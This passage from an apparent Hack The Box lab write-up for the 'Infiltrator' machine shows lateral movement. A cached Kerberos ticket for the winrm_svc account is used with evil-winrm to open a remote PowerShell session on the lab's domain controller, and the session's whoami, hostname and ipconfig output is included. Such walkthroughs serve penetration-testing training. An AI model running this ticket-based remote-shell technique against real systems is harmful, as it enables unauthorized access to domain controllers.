Infiltrator_Lateral_Movement_winrm_svc

winrm_svc

---

Using the TGT of the winrm_svc account, I am able to WinRM directly to the dc01.infiltrator.htb host

┌──(kali㉿kali)-[~/archive/htb/labs/infiltrator]
└─$ KRB5CCNAME=winrm_svc@dc01.infiltrator.htb.ccache evil-winrm -i dc01.infiltrator.htb -r INFILTRATOR.HTB
 
Evil-WinRM shell v3.5
 
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
 
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> whoami
infiltrator\winrm_svc
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> hostname
dc01
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet0 2:
 
   Connection-specific DNS Suffix  . :
   IPv4 Address. . . . . . . . . . . : 10.10.11.31
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : 10.10.10.2

Lateral Movement made to the winrm_svc account via evil-winrm